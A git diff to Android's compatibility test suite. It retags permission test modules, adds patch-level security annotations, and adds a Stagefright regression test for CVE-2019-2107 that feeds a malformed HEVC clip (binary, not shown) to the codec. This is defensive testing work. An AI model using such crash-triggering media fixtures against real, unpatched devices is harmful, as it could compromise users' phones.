diff --git a/tests/tests/permission/StorageEscalationApp29Full/Android.bp b/tests/tests/permission/StorageEscalationApp29Full/Android.bp
index 8eb6acb..b620bc5 100644
--- a/tests/tests/permission/StorageEscalationApp29Full/Android.bp
+++ b/tests/tests/permission/StorageEscalationApp29Full/Android.bp
@@ -21,5 +21,6 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
 }
diff --git a/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp b/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp
index 424a67f..1be05a3 100644
--- a/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp
+++ b/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp
@@ -21,5 +21,6 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
 }
diff --git a/tests/tests/permission/sdk28/Android.bp b/tests/tests/permission/sdk28/Android.bp
index e7ec37f..dbc7e02 100644
--- a/tests/tests/permission/sdk28/Android.bp
+++ b/tests/tests/permission/sdk28/Android.bp
@@ -25,6 +25,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt b/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
index 3e302a9..2e67179 100644
--- a/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
@@ -23,6 +23,7 @@
 import android.app.UiAutomation
 import android.content.Context
 import android.content.pm.PackageManager
+import android.platform.test.annotations.SecurityTest
 import androidx.test.platform.app.InstrumentationRegistry
 import com.android.compatibility.common.util.SystemUtil
 import org.junit.After
@@ -70,11 +71,13 @@
     }
 
     @Test
+    @SecurityTest(minPatchLevel = "2021-03")
     fun testCannotEscalateWithSdkDowngrade() {
         runStorageEscalationTest(APP_APK_PATH_29_SCOPED, APP_APK_PATH_28)
     }
 
     @Test
+    @SecurityTest(minPatchLevel = "2021-03")
     fun testCannotEscalateWithNewManifestLegacyRequest() {
         runStorageEscalationTest(APP_APK_PATH_29_SCOPED, APP_APK_PATH_29_FULL)
     }
@@ -88,4 +91,4 @@
         Thread.sleep(DELAY_TIME_MS)
         assertStoragePermissionState(granted = false)
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission/telephony/Android.bp b/tests/tests/permission/telephony/Android.bp
index 74e2b5a..f984ea0 100644
--- a/tests/tests/permission/telephony/Android.bp
+++ b/tests/tests/permission/telephony/Android.bp
@@ -22,7 +22,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
index 92ebffa..df94eea 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
@@ -23,7 +23,7 @@
         "vts10",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
index 54c0f8e..6065053 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
@@ -23,7 +23,7 @@
         "vts10",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     certificate: ":cts-testkey2",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
index 8281a57..bb534f3 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
@@ -22,7 +22,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
     certificate: ":cts-testkey1",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
index ab825ba..6245c59 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
@@ -22,7 +22,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
     certificate: ":cts-testkey1",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
index 666c143..d4e9bbc 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
@@ -22,7 +22,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
     certificate: ":cts-testkey2",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
index c7f8491..c35768e 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
@@ -22,7 +22,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
     certificate: ":cts-testkey1",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
index 942691b..2d7e98e 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
@@ -22,7 +22,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
     certificate: ":cts-testkey2",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
index 516527c..11b28f1 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
@@ -23,7 +23,7 @@
         "vts10",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionUsageInfoTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionUsageInfoTest.kt
index fcfb5fd..60c39fe 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionUsageInfoTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionUsageInfoTest.kt
@@ -29,6 +29,7 @@
 import org.junit.After
 import org.junit.Assert.assertEquals
 import org.junit.Assert.assertTrue
+import org.junit.Assume.assumeFalse
 import org.junit.Assume.assumeTrue
 import org.junit.Before
 import org.junit.Test
@@ -56,6 +57,13 @@
         )
     }
 
+    @Before
+    fun assumeHandheld() {
+        assumeFalse(isAutomotive)
+        assumeFalse(isTv)
+        assumeFalse(isWatch)
+    }
+
     @After
     fun removeTestLocationProvider() {
         locationManager.removeTestProvider(APP_PACKAGE_NAME)
diff --git a/tests/tests/security/res/raw/cve_2019_2107_framelen.mp4 b/tests/tests/security/res/raw/cve_2019_2107_framelen.mp4
new file mode 100644
index 0000000..b640712
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2107_framelen.mp4
@@ -0,0 +1,6 @@
+943
+243
+636
+979
+421
+266
diff --git a/tests/tests/security/res/raw/cve_2019_2107_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2107_hevc.mp4
new file mode 100644
index 0000000..a666502
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2107_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
index d3278ee..6d504f6 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
@@ -16,12 +16,12 @@
 
 package android.security.cts;
 
-import static org.junit.Assert.assertFalse;
-
 import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+import androidx.test.filters.RequiresDevice;
 import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static org.junit.Assert.assertFalse;
 
 @RunWith(AndroidJUnit4.class)
 public class CVE_2021_0394 {
@@ -34,6 +34,9 @@
      */
     @SecurityTest(minPatchLevel = "2021-03")
     @Test
+    @RequiresDevice
+    // emulators always have checkJNI enabled which causes the test
+    // to abort the VM while passing invalid input to NewStringUTF
     public void testPocCVE_2021_0394() throws Exception {
         assertFalse(poc());
     }
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index a2d5ccd..8b646a2 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1174,6 +1174,17 @@
      ***********************************************************/
 
     @Test
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2107() throws Exception {
+        assumeFalse(ModuleDetector.moduleIsPlayManaged(
+            getInstrumentation().getContext().getPackageManager(),
+            MainlineModule.MEDIA_SOFTWARE_CODEC));
+        int[] frameSizes = getFrameSizes(R.raw.cve_2019_2107_framelen);
+        doStagefrightTestRawBlob(R.raw.cve_2019_2107_hevc, "video/hevc", 1920,
+                1080, frameSizes);
+    }
+
+    @Test
     @SecurityTest(minPatchLevel = "2019-04")
     public void testStagefright_cve_2019_2245() throws Exception {
         doStagefrightTest(R.raw.cve_2019_2245);
diff --git a/tests/tests/webkit/assets/webkit/page_with_link.html b/tests/tests/webkit/assets/webkit/page_with_link.html
index 50fb78a..4fbe869 100644
--- a/tests/tests/webkit/assets/webkit/page_with_link.html
+++ b/tests/tests/webkit/assets/webkit/page_with_link.html
@@ -15,6 +15,8 @@
 
 <html>
   <body>
-    <a href="http://foo.com" id="link">a link</a>
+    <!-- This is a relative link to an arbitrary page also hosted on this
+        server. -->
+    <a href="/assets/webkit/test_blankPage.html" id="link">a link</a>
   </body>
 </html>
diff --git a/tests/tests/webkit/src/android/webkit/cts/TestHtmlConstants.java b/tests/tests/webkit/src/android/webkit/cts/TestHtmlConstants.java
index ac0283c..360895a 100644
--- a/tests/tests/webkit/src/android/webkit/cts/TestHtmlConstants.java
+++ b/tests/tests/webkit/src/android/webkit/cts/TestHtmlConstants.java
@@ -57,7 +57,11 @@
 
     public static final String LOGIN_FORM_URL = "webkit/test_loginForm.html";
 
-    public static final String EXT_WEB_URL1 = "http://www.example.com/";
+    // Note: tests should avoid loading external URLs if at all possible, since any changes to that
+    // public site (even if it doesn't currently exist) can affect test behavior. The ".test" TLD is
+    // OK because (1) it's reserved for testing by RFC2606 and (2) the test never navigates to this
+    // page.
+    public static final String EXT_WEB_URL1 = "http://www.example.test/";
 
     public static final String PARAM_ASSET_URL = "webkit/test_queryparam.html";
     public static final String ANCHOR_ASSET_URL = "webkit/test_anchor.html";
@@ -66,8 +70,9 @@
     public static final String DATABASE_ACCESS_URL = "webkit/test_databaseaccess.html";
     public static final String STOP_LOADING_URL = "webkit/test_stop_loading.html";
     public static final String BLANK_TAG_URL = "webkit/blank_tag.html";
+    // A page with a link to an arbitrary page controlled by the test server (in this case,
+    // BLANK_PAGE_URL).
     public static final String PAGE_WITH_LINK_URL = "webkit/page_with_link.html";
-    public static final String URL_IN_PAGE_WITH_LINK = "http://foo.com/";
     // Not a real page, just triggers a 404 response.
     public static final String NON_EXISTENT_PAGE_URL = "webkit/generate_404.html";
     public static final String BAD_IMAGE_PAGE_URL = "webkit/test_bad_image_url.html";
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index 81ea695..a99e9af 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -204,8 +204,10 @@
             }
         }.run();
         assertEquals(mainCallCount, mainWebViewClient.getShouldOverrideUrlLoadingCallCount());
-        assertEquals(
-            TestHtmlConstants.URL_IN_PAGE_WITH_LINK, childWebViewClient.getLastShouldOverrideUrl());
+        // PAGE_WITH_LINK_URL has a link to BLANK_PAGE_URL (an arbitrary page also controlled by the
+        // test server)
+        assertEquals(mWebServer.getAssetUrl(TestHtmlConstants.BLANK_PAGE_URL),
+                childWebViewClient.getLastShouldOverrideUrl());
     }
 
     private void clickOnLinkUsingJs(final String linkId, WebViewOnUiThread webViewOnUiThread) {